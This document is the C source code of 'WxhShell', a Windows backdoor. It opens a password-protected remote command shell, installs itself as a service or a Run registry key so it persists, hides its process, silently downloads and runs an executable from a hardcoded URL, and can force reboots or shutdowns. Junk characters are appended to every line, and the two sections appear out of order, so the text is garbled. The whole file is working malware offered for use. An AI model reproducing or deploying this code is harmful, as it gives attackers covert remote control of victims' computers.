    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @hy~H?XN  
    else { nd&i9l  
    closesocket(wsh); t9)S^: 0  
    ExitThread(0); AcHeZb8b  
    } vU$n*M1`$  
    break; A9MTAm{  
    } M0$E_*  
  // 获取shell L3A2A  
  case 's': { H4$f+  
    CmdShell(wsh); NryOdt tI  
    closesocket(wsh); jB`:(5%RO  
    ExitThread(0); +!ZfJZls  
    break; / }*}r  
  } Hp@Q  
  // 退出 u<4bOJn({  
  case 'x': { !j}L-1*{ l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4W}mPeEeV  
    CloseIt(wsh); /EuH2cy$l  
    break; f Xh{ _>  
    } h/6^>setz  
  // 离开 + )[@  
  case 'q': { GWv i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LqNyi   
    closesocket(wsh); F x^X(!)~]  
    WSACleanup(); >dgz/n?:v  
    exit(1); v]Aop<KLX  
    break; J 5xMA-  
        }  tq?a3  
  } ]LEaoOecu  
  } J57; X=M  
?a)Fm8Y  
  // 提示信息 0Ua=&;/2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *F!1xyg  
} nxNHf3   
  } 1}Y3|QxF  
%0 i)l|  
  return; ci/qm\JI<<  
} z:Z-2WV2o  
D c;k)z=  
// shell模块句柄 .(3ec/i4CF  
int CmdShell(SOCKET sock) 4c[/%e:\-  
{ $x,EPRNs  
STARTUPINFO si; =3`|D0E  
ZeroMemory(&si,sizeof(si)); ]k'^yc{5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gA% A})  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \BN$WV  
PROCESS_INFORMATION ProcessInfo; { {:Fs  
char cmdline[]="cmd"; >|yP`m   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EiG5k.C@  
  return 0; a=`] L`|N  
} /0$fYrg>J  
(=%0$(S>  
// 自身启动模式 57=d;Yg e  
int StartFromService(void) K:GEC-  
{ WIuYSt)h  
typedef struct  g[bu9i  
{ :Z x|=  
  DWORD ExitStatus; bE{Y K  
  DWORD PebBaseAddress; SN]g4}K-  
  DWORD AffinityMask; Ln t 1  
  DWORD BasePriority; lRNm &3:-  
  ULONG UniqueProcessId; iQS,@6  
  ULONG InheritedFromUniqueProcessId; Js vdC]+  
}   PROCESS_BASIC_INFORMATION; `( w"{8laB  
_ Yc"{d3S  
PROCNTQSIP NtQueryInformationProcess; 3z u6#3^  
*ra>Kl0   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ga-cto1Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cpALs1j:  
ch25A<O<R.  
  HANDLE             hProcess; #9Ect@?N0  
  PROCESS_BASIC_INFORMATION pbi; V1pBKr)v  
.g1x$cQ1<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L AH">E  
  if(NULL == hInst ) return 0; SOn)'!g  
S[zGA<}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XH@(V4J(.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L#uU. U=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kkWv#,qwU  
x^1d9Z  
  if (!NtQueryInformationProcess) return 0; &1R#!|h1W  
|cgjn*a?M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C*3St`2@9  
  if(!hProcess) return 0; J7^ UQ  
$;'M8L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z)2d4:uv  
~LZrhwVj$  
  CloseHandle(hProcess); %y|pVN!U  
<U1T_fiBoc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^L)TfI_n  
if(hProcess==NULL) return 0; T&+3Xi:  
DBL@Mp[<  
HMODULE hMod; d9BFeq8  
char procName[255]; ~J&-~<%P}  
unsigned long cbNeeded; J-<_e??  
/I!62?)-*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6 /5,n0  
 BgQ/$,  
  CloseHandle(hProcess); J?yasjjgP  
M<d!j I9)  
if(strstr(procName,"services")) return 1; // 以服务启动 0<a|=kZ  
[P =P8-5  
  return 0; // 注册表启动 )#cZ& O  
} nq8XVT.m^\  
()bQmNqmO=  
// 主模块 u~ipB*Zf  
int StartWxhshell(LPSTR lpCmdLine) [DH4iG5  
{ $ P 5K   
  SOCKET wsl;  Pd\4hy  
BOOL val=TRUE; Fa[^D~$l*  
  int port=0; )Uy%iE*  
  struct sockaddr_in door; !Q15qvRS  
t!*[nfR  
  if(wscfg.ws_autoins) Install(); 1n[)({OQ  
8.n#@%  
port=atoi(lpCmdLine); T3@2e0u )  
_:=\h5}8  
if(port<=0) port=wscfg.ws_port; HbI{Xf[6LP  
6V%}2YE?X  
  WSADATA data; vt2. i$u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G<D8a2q  
hTzj{}w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R[j?\#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (${ #l  
  door.sin_family = AF_INET; &K[sb%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *$BUow/>  
  door.sin_port = htons(port); [n)ak)_/  
`;+x\0@<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kSzap+nB?  
closesocket(wsl); GEF's#YWK  
return 1; j?m(l,YD|*  
} /MY's&D(  
vj%"x/TP  
  if(listen(wsl,2) == INVALID_SOCKET) { #e-K It  
closesocket(wsl); nPdkvs   
return 1; i.uyfV&F  
} q i yK  
  Wxhshell(wsl); O>qlWPht  
  WSACleanup(); $cHU,  
kY\faWuR  
return 0; Nh}-6|M  
2Ax"X12{6  
} Rw{' O]Q*  
z+7V}aPM  
// 以NT服务方式启动 bE.<vF&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4@3\Ihv  
{ c-(RjQ~M5  
DWORD   status = 0; N,-C+r5}<4  
  DWORD   specificError = 0xfffffff; #p>&|I  
K~,!IU_QG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J<"K`|F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5>.ATfAsV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ie/_gz^  
  serviceStatus.dwWin32ExitCode     = 0; <<u]WsW{C  
  serviceStatus.dwServiceSpecificExitCode = 0; (m:Q'4Ep  
  serviceStatus.dwCheckPoint       = 0; ) hs&?: )  
  serviceStatus.dwWaitHint       = 0; \tYImh  
jq%<Z,rh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H\oxj,+N  
  if (hServiceStatusHandle==0) return; o #\L4P(J  
~*/ >8R(Y  
status = GetLastError(); @i!+Z  
  if (status!=NO_ERROR) F_'{:v1GW  
{ UX63BA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @3KSoA"^  
    serviceStatus.dwCheckPoint       = 0; )VkVZf | S  
    serviceStatus.dwWaitHint       = 0; 6Q7=6  
    serviceStatus.dwWin32ExitCode     = status;  94PI  
    serviceStatus.dwServiceSpecificExitCode = specificError; dxAGO(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,$:u^;V(  
    return; k- 9i  
  } nMzt_IlI  
Hq 5#.rZ#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ejZ-A?f-K  
  serviceStatus.dwCheckPoint       = 0; 4;J.$  
  serviceStatus.dwWaitHint       = 0; >~Zj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X}(X\rp  
} [-VH%OM  
~ Ze!F"  
// 处理NT服务事件,比如:启动、停止 I F6$@Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8|)!E`TKSV  
{ M?sax+'  
switch(fdwControl) :?zq!  
{ 4AJT)I.  
case SERVICE_CONTROL_STOP: 8iaMr278W  
  serviceStatus.dwWin32ExitCode = 0; &?bsBqpN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )jgz(\KZ  
  serviceStatus.dwCheckPoint   = 0; #rX ^)2  
  serviceStatus.dwWaitHint     = 0; ai$l7]7  
  { pP":,8Q{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^g6v#]&WA  
  } KJoa^e;~  
  return; hbJy<e1W  
case SERVICE_CONTROL_PAUSE: =t-Ud^3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yg'CL/P  
  break; W`9{RZ'  
case SERVICE_CONTROL_CONTINUE: vw!7f|Pg ~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "KK}} $>  
  break; ,H"}Rw  
case SERVICE_CONTROL_INTERROGATE: S;#:~?dU  
  break; a%m )8N;C  
}; 5*Zz_ .  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^2$b8]q  
} YU-wE';H6  
mvT /sC7I  
// 标准应用程序主函数 ~3j +hN8<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oCOv 6(  
{ 5 l8F.LtO\  
4'#=_J  
// 获取操作系统版本 6O{QmB0KK  
OsIsNt=GetOsVer(); >oJab R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 98R/ ^\  
D? %*L  
  // 从命令行安装 W)r|9G8T  
  if(strpbrk(lpCmdLine,"iI")) Install(); J[?oV;O  
jRC{8^98  
  // 下载执行文件 \Qah*1  
if(wscfg.ws_downexe) { oQ]FyV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ry X11XU  
  WinExec(wscfg.ws_filenam,SW_HIDE); *(yw6(9%  
} ;hq_}.  
? 3fnt"  
if(!OsIsNt) { Zj]tiN f\"  
// 如果时win9x,隐藏进程并且设置为注册表启动 2Xv}JPS2As  
HideProc(); >x6\A7  
StartWxhshell(lpCmdLine); t=Rl`1 =(K  
} k8st XW-w  
else hk5!$#^  
  if(StartFromService()) K\Q4u4DjbJ  
  // 以服务方式启动 %1k"K~eu  
  StartServiceCtrlDispatcher(DispatchTable); | ;a$ l(~<  
else t'$_3ml  
  // 普通方式启动 #]c_ 2V  
  StartWxhshell(lpCmdLine); F-:AT$Ok  
`$1A;wg<  
return 0; TxQsi"0c  
} { /!ryOA65  
d1g7:s9$0  
(G+)v[f  
a] c03$fK  
=========================================== ,/p+#|>C=  
Ou4hAm91s  
,ov$` v  
{wSz >,  
.R` _"7  
/PaS <"<P@  
" a U.3  
%u9 Q`  
#include <stdio.h> }KUK|p5  
#include <string.h> /V+7:WDj  
#include <windows.h> k}g4?  
#include <winsock2.h> qmn l  
#include <winsvc.h> aO inD  
#include <urlmon.h> r\fkx>  
$ZyOBxI  
#pragma comment (lib, "Ws2_32.lib") ]Gm4gd`  
#pragma comment (lib, "urlmon.lib") <^> nR3E  
~5|R`%  
#define MAX_USER   100 // 最大客户端连接数 l=P)$O|=w  
#define BUF_SOCK   200 // sock buffer VSUWX1k4%  
#define KEY_BUFF   255 // 输入 buffer gAEB  
b (@GKH"W  
#define REBOOT     0   // 重启 Es}`S Ie/  
#define SHUTDOWN   1   // 关机 H'$H@Kn]-  
:##$-K*W"  
#define DEF_PORT   5000 // 监听端口 y]R+/  
vD#kH 1  
#define REG_LEN     16   // 注册表键长度 voRb>xF  
#define SVC_LEN     80   // NT服务名长度 g51UIN]o-  
NoF|j57?u'  
// 从dll定义API B)DuikV.D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nvQX)Xf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R!"`Po  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I+Yq",{%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VPO~veQ  
fS'` 9  
// wxhshell配置信息 be-HF;lZe'  
struct WSCFG { @`B_Q v@  
  int ws_port;         // 监听端口 S/eplz;  
  char ws_passstr[REG_LEN]; // 口令 -0`n(`2  
  int ws_autoins;       // 安装标记, 1=yes 0=no er BerbEEH  
  char ws_regname[REG_LEN]; // 注册表键名 Y evd h<  
  char ws_svcname[REG_LEN]; // 服务名 8.wtv5eZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "-:g.x*d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j)ln"u0R^B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "tJ[M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t}}Ti$$>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \O~/^ Y3U!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #d<"Ub  
1\lZ&KX$i  
}; pR2U&OA  
wLI1qoDM  
// default Wxhshell configuration %'. x vC  
struct WSCFG wscfg={DEF_PORT, eFy {VpO+  
    "xuhuanlingzhe", 7nxH>.,Q>  
    1, -e"kJd&V  
    "Wxhshell", xp^Jp  
    "Wxhshell", 4;32 f`  
            "WxhShell Service", Y0Tw:1a  
    "Wrsky Windows CmdShell Service", fY =:geB  
    "Please Input Your Password: ", h c]p^/H  
  1, T_wh)B4xW  
  "http://www.wrsky.com/wxhshell.exe", )iC@n8f7o  
  "Wxhshell.exe" m%;LJ~R  
    }; 7&jq  =  
3TV4|&W;  
// 消息定义模块 * _usVg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8qfXc ^6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @Wm:Rz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NTK9`#SA  
char *msg_ws_ext="\n\rExit."; =%I;Y& K  
char *msg_ws_end="\n\rQuit."; mss.\  
char *msg_ws_boot="\n\rReboot..."; S&l [z,  
char *msg_ws_poff="\n\rShutdown..."; %<O~eXY  
char *msg_ws_down="\n\rSave to "; O\=Zo9(NHF  
&Vpr[S@:{  
char *msg_ws_err="\n\rErr!"; C^_m>H3b  
char *msg_ws_ok="\n\rOK!"; (*vBpJyz%  
plr3&T~,&S  
char ExeFile[MAX_PATH]; b ettOg  
int nUser = 0; &N/dxKZcc  
HANDLE handles[MAX_USER];  ]sP  
int OsIsNt; Zv mkb%8  
;5T}@4m|r  
SERVICE_STATUS       serviceStatus; yP` K [/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FH%: NO  
M djxTr^  
// 函数声明 N<KsQsy=  
int Install(void); `|92!Ej  
int Uninstall(void); ;1_3E2E$  
int DownloadFile(char *sURL, SOCKET wsh); &Wdi 5T8  
int Boot(int flag); !"E/6z2&(k  
void HideProc(void); 9G7Brs:  
int GetOsVer(void); V+U89j1g  
int Wxhshell(SOCKET wsl); Wi\k&V.mE  
void TalkWithClient(void *cs); \fvm6$ rZ^  
int CmdShell(SOCKET sock); _ q>|pt.W  
int StartFromService(void); ,j(E>g3  
int StartWxhshell(LPSTR lpCmdLine); ]w4?OK(j  
^,f^YL;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ESFJN}Q%0.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g{>0Pa 1?C  
.Tw:Y,G  
// 数据结构和表定义 V`c,U7[/  
SERVICE_TABLE_ENTRY DispatchTable[] = Ut/%+r"s  
{ r1=j$G  
{wscfg.ws_svcname, NTServiceMain}, 8y[Rwa  
{NULL, NULL} #l9sQ-1Q  
}; &(p5z4Df  
`q  | )_  
// 自我安装 hc9 ON&L\>  
int Install(void) jWvi% I qi  
{ xd"+ &YT  
  char svExeFile[MAX_PATH]; u2fp~.'P  
  HKEY key; L0{ [L  
  strcpy(svExeFile,ExeFile); )3 f\H  
q^ &r<i  
// 如果是win9x系统,修改注册表设为自启动 z/WGL  
if(!OsIsNt) { !`W0;0'Zg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c|k(_#\B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ff =%eg]  
  RegCloseKey(key); VKlC`k8L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]vV)$xMX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `6#s+JA[  
  RegCloseKey(key); SY@;u<Pd   
  return 0; :}#j-ZCC"  
    } xDS]k]/(T  
  } Z@*!0~NH=4  
} *<"{(sAvk  
else { *p\fb7Pu_3  
!4Sd^"  
// 如果是NT以上系统,安装为系统服务 23'{{@30  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FKhgUnw  
if (schSCManager!=0) @FF{lK?[  
{ ofI,[z3  
  SC_HANDLE schService = CreateService sint":1FC  
  ( 'w<^4/L Q  
  schSCManager, ^LXsU] R  
  wscfg.ws_svcname, 3Tw9Uc\vT  
  wscfg.ws_svcdisp, cT&lkS  
  SERVICE_ALL_ACCESS, O69TU[Vn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZTB6m`  
  SERVICE_AUTO_START, {F\P3-ub  
  SERVICE_ERROR_NORMAL, tehWGqx)  
  svExeFile, XJwgh y?(  
  NULL, +^AAik<yl  
  NULL, ;nAx@_ab^  
  NULL,  <pD  
  NULL, ?s)6 YF  
  NULL -QBM^L  
  ); ;K4uu<e \  
  if (schService!=0) 6o(.zk`d  
  { /t2H%#v{  
  CloseServiceHandle(schService); *Utx0Me  
  CloseServiceHandle(schSCManager); k;SKQN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %503 <j  
  strcat(svExeFile,wscfg.ws_svcname); B T {cTj0W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _~P &8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hKnV=Ha(  
  RegCloseKey(key); !tx.2m*5  
  return 0; mjk<FXW  
    } ![]6| G&  
  } bwszfPM  
  CloseServiceHandle(schSCManager); ]n:R#55A  
} i3$G)W  
} MhD=\Lpj\  
z 9WeOs  
return 1; c]$$ap  
} bB*cd!7y  
uG YH4  
// 自我卸载 wM-H5\9n  
int Uninstall(void) ?zVE7;r4U  
{ J'WOqAnPZ  
  HKEY key; 1r*@1y<0"  
_t4(H))]vG  
if(!OsIsNt) { 5 5Mtjqfp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o>&pj  
  RegDeleteValue(key,wscfg.ws_regname); z  fy(j  
  RegCloseKey(key); 9d=\BBNZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G_ ~qk/7mF  
  RegDeleteValue(key,wscfg.ws_regname); ]'hel#L;l  
  RegCloseKey(key); mGmZ}H'{  
  return 0; "W9z>ezp  
  } ^![7X'!;pt  
} ~~t >;  
} ]xJ. OUJy  
else { /,$V/q+  
%*gg6Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |'x"+x   
if (schSCManager!=0) muFWFq&yP  
{ iHQ$L# 7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OKu~Nb*  
  if (schService!=0) Z\n^m^Z =  
  { EF9Y=(0|  
  if(DeleteService(schService)!=0) { |;p.!FO  
  CloseServiceHandle(schService); 4gmlK,a  
  CloseServiceHandle(schSCManager); g2u\gR5  
  return 0; yKm6 8n^  
  } I58$N+#  
  CloseServiceHandle(schService); +-5YmN'  
  } I@#IXH?6  
  CloseServiceHandle(schSCManager); ,WW=,P  
} Z,~@_;F  
} M@*Y&(~  
z|(<Co8#.  
return 1; :vaVghN\  
} Wu8zK=Ve(  
fZnq5rTk"  
// 从指定url下载文件 0[7"Lhpd  
int DownloadFile(char *sURL, SOCKET wsh) XCXX(8To0=  
{ M}=>~TA@  
  HRESULT hr; !g#y$  
char seps[]= "/"; K(TejW#  
char *token; P1$D[aF9$  
char *file; yGX5\PSo  
char myURL[MAX_PATH]; V <ilv<  
char myFILE[MAX_PATH]; S5UQ   
Y^8'P /A  
strcpy(myURL,sURL); WU,b<PU &  
  token=strtok(myURL,seps); axN\ZXU  
  while(token!=NULL) C!6D /S  
  { |=:hUp Jp  
    file=token; 8;f5;7M n  
  token=strtok(NULL,seps); l%2 gM7WMY  
  } n5tsaU;  
(W[]}k ;  
GetCurrentDirectory(MAX_PATH,myFILE); Y&DoA0/y  
strcat(myFILE, "\\"); # |OA>[  
strcat(myFILE, file); s<3M_mt  
  send(wsh,myFILE,strlen(myFILE),0); q; C6ID`  
send(wsh,"...",3,0); O]!o|w(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E!L_"GW  
  if(hr==S_OK) D )Jac@,0  
return 0; X7tBpyi  
else tv: mjS  
return 1; 3h A5"G+7  
#n|eq{fkK  
} h$%h w+"4  
Ya!PV&"Z  
// 系统电源模块 'tX}6wurf  
int Boot(int flag) mSk";UCn  
{ 8-@H zS%  
  HANDLE hToken; G%K&f1q%  
  TOKEN_PRIVILEGES tkp; xNLgcb@v>  
q:vGGK^  
  if(OsIsNt) { wZKmU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f*p=j(sF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,;<M+V3+  
    tkp.PrivilegeCount = 1; HJlxpX$_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _|;{{8*?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z 8#{=e  
if(flag==REBOOT) { nFn}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D^f;X.Qm  
  return 0; ,,7hVw  
} j}fSz)`i  
else { rQ&XHG>Q*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b"OHXu  
  return 0; ?t/\ ID  
} ln6=XDu  
  } "QBl "<<s  
  else { p )WRsJ8  
if(flag==REBOOT) { J90 )v7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ##Qy6Dc  
  return 0; 4Bt)t#0  
} d-8{}Q  
else { E #!.;AQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &(|Ot`el]v  
  return 0; ]c6h'}  
} 4C*0MV  
} ,zZ@QW5  
^a1k"|E?f  
return 1; z2#k /3%o=  
} ,&Vir)S  
kN 0N18E  
// win9x进程隐藏模块 <5G 4|l  
void HideProc(void) ]x%sX|Rj  
{ g?cxqC<  
)a%E $`   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <KE%|6oER  
  if ( hKernel != NULL ) K;>9K'n  
  { jBd=!4n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  J2Qt!-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k$kxw_N5d  
    FreeLibrary(hKernel); 5Z=GFKf|  
  } Il#ST  
_c(h{dn  
return; iI &z5Q2  
} XdnpL$0  
E*s _Y  
// 获取操作系统版本 Zt9ld=T  
int GetOsVer(void) _!w69>Nj  
{ 9Q 7342  
  OSVERSIONINFO winfo; Zvra >%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u EERNo&  
  GetVersionEx(&winfo); bHXoZix  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^SM5oK  
  return 1; {Eqx'j  
  else r-Y7wM`TZ  
  return 0; +k/=L9#e  
} !"'6$"U\K  
31QDN0o!~  
// 客户端句柄模块 bik lja  
int Wxhshell(SOCKET wsl) V0%a/Hi v  
{ J5z\e@?.0\  
  SOCKET wsh; >X=VPh8  
  struct sockaddr_in client; vZ^U]h V  
  DWORD myID; 7 ;2>kgf~  
$6 4{Ff  
  while(nUser<MAX_USER) m8+ EMBl  
{ }?HWUAL\  
  int nSize=sizeof(client); A-rj: k!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,-DU)&dF  
  if(wsh==INVALID_SOCKET) return 1; !\'HKk~V  
xl,6O!aR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5'<mfY'B  
if(handles[nUser]==0) lAGntYv  
  closesocket(wsh); +x~p&,w?  
else 0oqOX  
  nUser++; JgV4-B0  
  } 9hJ a K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZkNet>9  
=-qYp0sVP  
  return 0; U r8JG&,  
} k?1e + \  
y'z9Ya  
// 关闭 socket ?JW/Stua  
void CloseIt(SOCKET wsh) Jid_&\  
{ o"kL,&  
closesocket(wsh); _lC0XDZ  
nUser--; 2Zg%4/u,Zp  
ExitThread(0); g[\8s~g,  
} -"XHN=H  
7|o}m}yVx  
// 客户端请求句柄 %zhSSB =BJ  
void TalkWithClient(void *cs) 3T[zieX  
{ ,vBB". LY'  
zz8NBO  
  SOCKET wsh=(SOCKET)cs; z(#dL>d$'  
  char pwd[SVC_LEN]; n;~'W*Ln0  
  char cmd[KEY_BUFF]; Qo*OC 9E`  
char chr[1]; s{42_O?,c  
int i,j; >gl.ILo  
o>&-B.zq  
  while (nUser < MAX_USER) { +6n\5+5  
9! yDZ<s  
if(wscfg.ws_passstr) { BL-7r=Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6_:KFqc W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); w{4#Q[  
  //ZeroMemory(pwd,KEY_BUFF); x&$8;2&.  
      i=0; Digx#'#jf  
  while(i<SVC_LEN) { %/SHB  
v+( P4f S  
  // 设置超时 i?|u$[^=+  
  fd_set FdRead; m @)Ya*=<  
  struct timeval TimeOut; =GiN~$d  
  FD_ZERO(&FdRead); phwBil-vUU  
  FD_SET(wsh,&FdRead); t@iw&> 8z  
  TimeOut.tv_sec=8; E5Ls/ H K  
  TimeOut.tv_usec=0; O(:/ &`)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $&i8/pD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^+kymZ  
1bjWWNzQA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D8{f7{nY  
  pwd=chr[0]; &z>iqm"Ww  
  if(chr[0]==0xd || chr[0]==0xa) { eQMa9_  
  pwd=0; "s@q(J  
  break; ;{0%Vp{  
  } 8?w#=@s  
  i++; ~3|)[R=+p1  
    } N{6-a  
9"}5jq4*  
  // 如果是非法用户,关闭 socket o :j'd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >D_)z/v?"  
} $2a_!/  
6zGeGW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]H<}6}Gd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V|/N-3M  
x Vw1  
while(1) { ]@CXUa,>a  
|;"(C# B  
  ZeroMemory(cmd,KEY_BUFF); w BoP&l  
~b%dBn]n>  
      // 自动支持客户端 telnet标准   Oe;1f#` 5  
  j=0; Fz5eCe\B  
  while(j<KEY_BUFF) { Ci2*5n<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lbh7`xCR  
  cmd[j]=chr[0]; <<-BQ l~  
  if(chr[0]==0xa || chr[0]==0xd) { (%9J( 4  
  cmd[j]=0; zKh<zj  
  break; ViUx^e\  
  } }n +MVJ;dG  
  j++; hI*6f3Vn(n  
    } ET%F+  
R''2o_F6  
  // 下载文件 )r(e\_n  
  if(strstr(cmd,"http://")) { s~c cx"HH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KbH|'/w  
  if(DownloadFile(cmd,wsh)) 6B}V{2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G}aM~,v  
  else Dw,LB>Eq,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n>)h9q S  
  } l vBcEg  
  else { 3.rl^Cq1  
XRP+0=0  
    switch(cmd[0]) { #fXy4iL l  
  %2^V.`0T  
